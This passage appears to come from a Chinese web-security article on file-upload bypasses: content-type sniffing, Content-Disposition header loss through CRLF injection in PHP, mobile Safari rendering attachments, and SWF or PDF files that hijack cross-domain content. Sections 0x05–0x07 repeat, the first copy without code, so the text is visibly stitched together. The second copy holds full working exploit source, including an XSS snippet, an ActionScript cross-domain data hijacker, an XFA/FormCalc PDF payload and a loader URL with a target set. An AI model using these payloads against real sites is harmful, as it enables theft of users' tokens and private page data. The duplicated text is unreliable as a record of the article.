https://twitter.com/mramydnei/status/782324732897075200
也就是说content-type实际上是根据扩展名来决定的。举个例子,如果目标站允许上传iso文件,且没有设置X-Content-Type-Options=nosniff头,就可以上传内容为<img
src=x
onerror=alert(1)>的iso文件。只要目标用户通过IE/EDGE对目标进行访问,文件就以text/html的形式解析。
0x05 尴尬的content-disposition头
这里有两个问题。一个是关于safari的,另一个是关于PHP的。
在相对较新的PHP版本当中,作为PHP的新特性如果发生了CRLF注入,目标头就会被移除。这里的问题是,有些程序员喜欢把上传文件名给改了。然后把原始文件名保存到DB当中。如果存储到DB当中文件名包含了0x0D/0x0A/0x00其中的任何一个且在使用content-disposition头对上传的文件进行强制下载时,将原始文件名赋值到了file=""处,那么就会产生一个存储型的CRLF漏洞。作为结果,在新的PHP版本当中content-disposition头会被移除。如果content-disposition是你主要的防线之一,抱歉文件又有可能被解析了。
具体代码可以参考我之前的这条twit:
以上问题可以在PHP5.6.17-3可复现。
还有一个就是手机端的safari并不存在下载附件这种功能的问题。如果你允许上传htm文件,但是设置了nosniff,设置了content-disposition那在PC浏览器的世界里不会有任何问题。文件不会被解析,没有XSS。
手机版的safari虽然在一次修复过后已经禁用了这种情况下的JS执行,但是HTML依旧会被解析。
以上内容在最新的ios for safari 10.0.2可复现。
BTW,ios8.4不但会无视Content-Disposition头,还会执行JS。具体是从哪个版本开始不能直行JS的我也不太清楚。
0x06 图片只检测了扩展名却没有检测magicbyte
这个是老问题了。可以上传扩展名为png/gif/jpg的swf文件,再用irsdl写的exploit直接搞起。
flash源码:
Exploit:作为结果可以跨域窃取写入到页面内的CSRF等敏感信息。
0x07 允许上传pdf,验证了magicbyte 却没有设置"Content-Disposition: Attachment"和"X-Content-Type-Options: nosniff"
这个有些限制。IE Only+,默认的PDF浏览器必须是Adobe Reader。
PDF源码:
Exploit:
作为结果可以跨域窃取写入到页面内的CSRF等敏感信息。
0x05 尴尬的content-disposition头
这里有两个问题。一个是关于safari的,另一个是关于PHP的。
在相对较新的PHP版本当中,作为PHP的新特性如果发生了CRLF注入,目标头就会被移除。这里的问题是,有些程序员喜欢把上传文件名给改了。然后把原始文件名保存到DB当中。如果存储到DB当中文件名包含了0x0D/0x0A/0x00其中的任何一个且在使用content-disposition头对上传的文件进行强制下载时,将原始文件名赋值到了file=""处,那么就会产生一个存储型的CRLF漏洞。作为结果,在新的PHP版本当中content-disposition头会被移除。如果content-disposition是你主要的防线之一,抱歉文件又有可能被解析了。
具体代码可以参考我之前的这条twit:
以上问题可以在PHP5.6.17-3可复现。
还有一个就是手机端的safari并不存在下载附件这种功能的问题。如果你允许上传htm文件,但是设置了nosniff,设置了content-disposition那在PC浏览器的世界里不会有任何问题。文件不会被解析,没有XSS。
手机版的safari虽然在一次修复过后已经禁用了这种情况下的JS执行,但是HTML依旧会被解析。
<?phpheader("Content-Type:text/html");header(\'Content-Disposition: attachment; filename="download.htm"\');header("X-Content-Type-Options: nosniff");?><a href=javascript:alert(1)>clickme</a><script>alert(1)</script>
BTW,ios8.4不但会无视Content-Disposition头,还会执行JS。具体是从哪个版本开始不能直行JS的我也不太清楚。
0x06 图片只检测了扩展名却没有检测magicbyte
这个是老问题了。可以上传扩展名为png/gif/jpg的swf文件,再用irsdl写的exploit直接搞起。
flash源码:
package com.powerflasher.SampleApp {import flash.external.ExternalInterface;import flash.display.Sprite;import flash.display.Sprite;import flash.events.Event;import flash.net.URLLoader;import flash.net.URLRequest;import flash.text.TextField;import flash.text.TextFieldAutoSize;import flash.xml.*;import flash.events.IOErrorEvent;import flash.events.*;import flash.net.*;/*** @author User*/public class CrossDomainDataHijack extends Sprite {private var loader:URLLoader;public function CrossDomainDataHijack() {loader = new URLLoader();configureListeners(loader);var target:String = root.loaderInfo.parameters.input;var request:URLRequest = new URLRequest(target);try {loader.load(request);} catch (error:Error) {sendDatatoJS("Unable to load requested document; Error: " + error.getStackTrace());}}private function configureListeners(dispatcher:IEventDispatcher):void {dispatcher.addEventListener(Event.COMPLETE, completeHandler);dispatcher.addEventListener(Event.OPEN, openHandler);dispatcher.addEventListener(ProgressEvent.PROGRESS, progressHandler);dispatcher.addEventListener(SecurityErrorEvent.SECURITY_ERROR, securityErrorHandler);dispatcher.addEventListener(HTTPStatusEvent.HTTP_STATUS, httpStatusHandler);dispatcher.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);}private function completeHandler(event:Event):void {var loader:URLLoader = URLLoader(event.target);//trace("completeHandler: " + loader.data);sendDatatoJS("completeHandler: " + loader.data);}private function openHandler(event:Event):void {//trace("openHandler: " + event);sendDatatoJS("openHandler: " + event);}private function progressHandler(event:ProgressEvent):void {//trace("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);sendDatatoJS("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);}private function securityErrorHandler(event:SecurityErrorEvent):void {//trace("securityErrorHandler: " + event);sendDatatoJS("securityErrorHandler: " + event);}private function httpStatusHandler(event:HTTPStatusEvent):void {//trace("httpStatusHandler: " + event);sendDatatoJS("httpStatusHandler: " + event);}private function ioErrorHandler(event:IOErrorEvent):void {//trace("ioErrorHandler: " + event);sendDatatoJS("ioErrorHandler: " + event);}private function sendDatatoJS(data:String):void{trace(data);ExternalInterface.call("sendToJavaScript", data);}}}
http://0me.me/demo/SOP/CrossDomainDataHijackHelper.html
0x07 允许上传pdf,验证了magicbyte 却没有设置"Content-Disposition: Attachment"和"X-Content-Type-Options: nosniff"
这个有些限制。IE Only+,默认的PDF浏览器必须是Adobe Reader。
PDF源码:
% Created by Soroush Dalili (@irsdl)% Released under AGPL (see LICENSE for more information).% Version 1.2%PDF-1.11 0 obj<</Pages 2 0 R % Set to the Kids object/AcroForm<</Fields[3 0 R] % Set to the text field/XFA 5 0 R % Set to the XDP form>>/OpenAction<</S /JavaScript/JS(// And here fun begins... chamber of JavaScript god.var onloadInterval;var myHostContainer;var target="";var postData="";this.getField("mydata").multiline=true;function onErrorFunc(e, customMSG) {var errMessage = customMSG + " -- Error:" + e.toString();// We like to alert this and that! we don\'t have enough money to pay for a fancy debugger!app.alert(errMessage);logIt(errMessage,"1");}function onMSGHandlerErrorFunc(e) {onErrorFunc(e, "Error in messageHandler.");}function logIt(strMessage,strType){//this.getField("mydata").value += strMessage; // I cannot do this when I have XFA?// strType = 1 -> error!if(myHostContainer!=null && target!=""){myHostContainer.postMessage([strMessage,strType]);}}try{this.disclosed = true; // To tell HTML that I\'m all yours! no not really! just shares a function for onMessage!if (this.external && this.hostContainer) {function onMessageFunc( stringArray ) {try{target = stringArray[0];if(stringArray[1])postData = stringArray[1];elsepostData = "";// We have our target and everything set-up! If I don\'t delete my PDF file accidentally again, it should work fine!var contents = "";if(postData!="")contents = objMy_fc_Form.func.Post(target,postData);elsecontents = objMy_fc_Form.func.Get(target);if(contents==""){contents = "Target page was not accessible."; // I\'m so sorry master!logIt(contents,"1");}else{contents = contents; // This is the apple! I want to eat it now! He said...logIt(contents,"0");}}catch(e){onErrorFunc(e , "Error in connecting to HTML section");}}try {if(!this.hostContainer.messageHandler);this.hostContainer.messageHandler = new Object();this.hostContainer.messageHandler.myDoc = this;this.hostContainer.messageHandler.onMessage = onMessageFunc;//this.hostContainer.messageHandler.onError = onMSGHandlerErrorFunc;this.hostContainer.messageHandler.onDisclose = function(){return true;};}catch(e){onErrorFunc(e, "Error in setting messageHandler attributes.");}function clearIntervals(){app.clearInterval(onloadInterval);}if(this.hostContainer) {try{// To announce that PDF is ready for action!myHostContainer = this.hostContainer;onloadInterval = app.setInterval("this.hostContainer.postMessage([\'loaded\',\'1\']);",500);app.setTimeOut("clearIntervals();",5000); // Keep sending the message for 5 seconds to make sure HTML will receive it}catch(e){onErrorFunc(e, "Error in telling HTML about PDF loading!");}}}}catch(e){onErrorFunc(e, "Error somewhere in the code!");})>>/Type /Catalog>>endobj2 0 obj<</Kids[<</Parent 2 0 R% /Contents[10 0 R] % For the content/Annots 4 0 R % Set to the annotation which points to the field - I needed this to show the text box>>]/Resources<</ProcSet [ /PDF /Text ]>>>>3 0 obj<</Rect[0 0 800 800]/Subtype/Widget/T(mydata) % this is the name/V(Hello World from PDF!) % this is the value/Type/Annot/FT/Tx/Subtype/Widget>>endobj4 0 obj[3 0 R]endobj% My XDP Form% Interaction between JavaScript and FormCalc% Got the idea from: blogs.adobe.com/formfeed/files/formfeed/fragments/scFormCalc.xdp and% http://blogs.adobe.com/formfeed/2009/02/calling_formcalc_functions_fro.html5 0 obj <<>>stream<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"><config><present><pdf><interactive>1</interactive></pdf></present></config><template xmlns="http://www.xfa.org/schema/xfa-template/2.8/"><?formServer defaultPDFRenderFormat acrobat9.0static?><subform name="myXFAForm" locale="en_US" layout="tb"><pageSet><pageArea><contentArea x="0.25in" y="0.25in" w="8in" h="10.5in"/><medium stock="letter" short="8.5in" long="11in"/></pageArea></pageSet><subform access="readOnly" h="19.05mm" name="fc" w="141.41mm"><variables><script contentType="application/x-javascript" name="func">var objDoc=-1;/*** This script object contains a series of functions* that redirect their input to the corresponding formcalc* functions.* If you want to call these functions from an initialization script,* be sure to place the fc subform at the front of the template. <br/>* Version 2: Added Get(). Use execEvent("enter") instead of the calculate event.* Calculate was introducing un-needed dependency tracking.*/var oVersionInfo = {identifier: "FormCalcFromJavaScript",assetType: "fragment",description: "Support for FormCalc functions: Format(), Parse(), WordNum(), Uuid(), UnitValue(), Get()",currentVersion: 2};/*global F P1 P2 NullValue ResultString *//*** Format a value based on a picture* @param vPicture - the picture clause* @param vValue - The value to format* @return the formatted value. Empty string if the format fails.*/function Format(vPicture, vValue){F.value = "Format";P1.value = vPicture;P2.value = vValue;NullValue.value = vValue === null;this.execEvent("enter");return ResultString.value;}/*** Parse a value based on a picture* @param vPicture - the picture clause* @param vValue - The value to parse* @return the raw/canonical value. Empty string if the parse fails.*/function Parse(vPicture, vValue){F.value = "Parse";P1.value = vPicture;P2.value = vValue;this.execEvent("enter");return ResultString.value;}/*** Convert a number into words. Note that currently only English is supported.* @param vInputValue* @return the value expressed as words.*/function WordNum(vInputValue){F.value = "WordNum";// Make sure we convert all numeric input values to string// all parameters to formcalc functions are stringsP1.value = vInputValue.toString();this.execEvent("enter");return ResultString.value;}/*** Return a Universally Unique Identifier (UUID) string.* @param vN1 identifies the format of UUID string requested:<br/>* if the value is 0, the returned UUID string will only contain hex octets.<br/>* if the value is 1, the returned UUID string will contain dash characters separating the sequences of hex octets, at fixed positions.* @return the uuid value string*/function Uuid(vN1){F.value = "Uuid";P1.value = vN1.toString();this.execEvent("enter");return ResultString.value;}/*** Returns the value of a unitspan after an optional unit conversion.* A unitspan string consist of a number immediately followed by a unit name.* Recognized unit names include:in, mm, cm, pt* @param vMeasurement -- the measurement string value* @param vUnits - the units to convert to* @return the numeric value in the requested units*/function UnitValue(vMeasurement, vUnits){F.value = "UnitValue";P1.value = vMeasurement;P2.value = vUnits;this.execEvent("enter");// cast return value to the expected type.return parseFloat(ResultString.value);}/*** Download the contents of the given URL.* @param vAddress -- the requested URL* @return the contents of the URL.*/function Get(vAddress){F.value = "Get";P1.value = vAddress;this.execEvent("enter");return ResultString.value;}/*** Download the contents of the given URL.* @param vAddress -- the requested URL* @param vContent -- POST data* @return the contents of the URL.*/function Post(vAddress,vContent){F.value = "Post";P1.value = vAddress;P2.value = vContent;this.execEvent("enter");return ResultString.value;}function Test(){//setTimeOut(\'app.alert(this.getField("mydata"))\',3000);//app.alert(app.getField);return -1;}</script><?templateDesigner expand 1?></variables><bind match="none"/><event activity="initialize" name="event__initialize"><script contentType="application/x-javascript">// Define all the variables needed to pass parameters to/from the FormCalc functions/*global fc */if (fc.variables.nodes.namedItem("F") === null) {this.variables.nodes.append(xfa.form.createNode("text", "F"));this.variables.nodes.append(xfa.form.createNode("text", "P1"));this.variables.nodes.append(xfa.form.createNode("boolean", "NullValue"));this.variables.nodes.append(xfa.form.createNode("text", "P2"));this.variables.nodes.append(xfa.form.createNode("text", "ResultString"));this.variables.nodes.append(xfa.form.createNode("text", "P3"));this.variables.nodes.append(xfa.form.createNode("text", "P4"));this.variables.nodes.append(xfa.form.createNode("text", "P5"));}// Record this for now as JavaScript god may not send us a better fruit! Adam said!fc.func.objDoc=event.target;// We need to send this up where JavaScript god can use it! ;)event.target.objMy_fc_Form = fc;</script></event><event activity="enter" name="event__enter"><script contentType=\'application/x-formcalc\'>; execute the requested function based on the input; request parametersif (F == "WordNum") thenResultString = WordNum(P1)elseif (F == "Parse") thenResultString = Parse(P1, P2)elseif (F == "Format") thenif (NullValue) thenResultString = Format(P1, null)elseResultString = Format(P1, P2)endifelseif (F == "Uuid") thenResultString = Uuid(P1)elseif (F == "UnitValue") thenResultString = UnitValue(P1, P2)elseif (F == "Get") thenResultString = Get(P1)elseif (F == "Post") thenResultString = Post(P1, P2); POST in FormCalc can accept more inputs such as additional headers!; example: Post(P1, P2, "application/x-www-form-urlencoded", "utf-8", "Referer: " + P1);elseResultString = ""endif</script></event><?templateDesigner expand 1?><?templateDesigner isFragment yes?><?templateDesigner fragmentTitle scFormCalc?><?templateDesigner fragmentDescription Allow access to FormCalc built in functions from JavaScript?></subform></subform><?originalXFAVersion http://www.xfa.org/schema/xfa-template/2.8/?><?templateDesigner FormTargetVersion 28?><?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?><?templateDesigner Zoom 56?></template></xdp:xdp>endstreamendobj6 0 obj<</Producer (@irsdl)/Subject (Sec test)/Title (Sec test)/Author (root)/Keywords (Sec test)>>endobj% The following object is disabled which could be used in the content%10 0 obj%<<%>>%stream% BT/default 10 Tf 1 0 0 1 1 715 Tm(Hello World!)Tj ET%endstream%endobjtrailer<</Size 8/ID [ (irsdl) (MyfancyPDF) ]/Root 1 0 R/Info 6 0 R>>
https://15.rs/ContentHijacking/ContentHijackingLoader.html?objfile=https://15.rs/ContentHijacking/objects/ContentHijacking.pdf&objtype=pdf&target=https://0me.me/&postdata=param1=foobar&logmode=all?ex=owasp.*&isauto=1